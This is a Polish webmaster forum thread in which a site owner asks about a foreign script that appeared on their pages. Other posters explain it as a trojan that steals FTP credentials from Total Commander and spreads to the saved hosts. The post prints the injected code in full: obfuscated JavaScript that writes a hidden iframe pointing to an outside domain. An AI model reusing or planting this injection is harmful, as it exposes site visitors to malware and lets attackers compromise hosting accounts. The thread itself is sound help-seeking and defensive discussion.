obcy skrypt

[r706]

Witam

Przytrafiło mi się , że na stronie w jakis sposób zainstalowalo się takie coś :

<script type="text/javascript">

<!--

document.writeln('<'+'scr'+'ipt type="text/javascript" src="https://s3.hit.stat24.com/_'+(new Date()).getTime()+'/script.js?id=bV1AUssbq0pf57Gexl.C2dVp3761k2Me4VvoL5xiN9j.v7/l=11"></'+'scr'+'ipt>');

//-->

</script>

</span>

<!-- ad --><script>

uyimh=687;

qxcxg=4804;

ddytx=7948;

xkjpv="write";

mzsrv="me";

zqfqw="et";

gdtrk="/' st";

rpiia="yl";

qxaol="";

ldlvw="i";

zfhuu="ty";

hvkhb=":h";

hbqmm="d";

hauzn="";

zdqdp=4;

sjgbi="if";

rpygo="r";

syjnh=" sr";

rwanv="c";

elujl="=";

hrgnc=863;

akzpp=8853;

tplxn=" ";

cvtot="</";

qtndm="";

jlooz=3953;

uyimh=687;

qxcxg=4804;

ddytx=7948;

xkjpv="write";

mzsrv="me";

zqfqw="et";

gdtrk="/' st";

rpiia="yl";

qxaol="";

ldlvw="i";

zfhuu="ty";

hvkhb=":h";

hbqmm="d";

hauzn="";

zdqdp=4;

sjgbi="if";

rpygo="r";

syjnh=" sr";

rwanv="c";

elujl="=";

hrgnc=863;

akzpp=8853;

tplxn=" ";

cvtot="</";

qtndm="";

jlooz=3953;

gftzo=(9.007e3>=5e1?uyimh:qxcxg);

jjaqh=(ddytx>.2438?xkjpv:3.);

gmbpt=(7.3e1>=36?mzsrv:.45);

zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");

hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);

rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486).2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad --></body>

I linkuje to do strony https://www.truittbros.com/index.htm

Jak taka sytuacja może mieć miejsce ?

Macie jakieś doświadczenia z takim czymś ?

[GEGE]

https://www.forum.optymalizacja.com/index.p...c=66527&hl=

[r706]

Dięki

Powalcze z tym.

Przepraszam za nowy post .

Jak coś się mi uda nowego zaobserwować to dodam do wskazanego postu

[gucci1]

Witam,

ja również miałęm ten problem to jest VBS:Malware GEN wykrywa go tylko Avast.

Jeżeli masz ten skrypt na jednej ze stron to oznacza że możesz go mieć na pozostałych hostingach.

Ten trojan wyłapuje dane FTP z Totalcmd i ładuje się na wszystkie ftp tam zapisane.

Jeżeli ktoś potrzebuje stworzyłem skrypt który usuwa tego trojana z hostingu. Chętnie pomogę bo sam miałem ogromny z tym problem. Ten skrypt loguje się i wycina robaka ze strony..

Następnym krokiem jest natychmiastowe zmienieni hasła ftp bo po kilku godzinach bedzie to samo.

Jeżeli ktoś jest zainteresowany to prosze pisać na maila: ksgucci@gmail.com.

----------------------------------------------

Skuteczne i naturalne pozycjonowanie Kraków oraz optymalizacja stron zapraszamy.

[zgred]

nie tylko avast.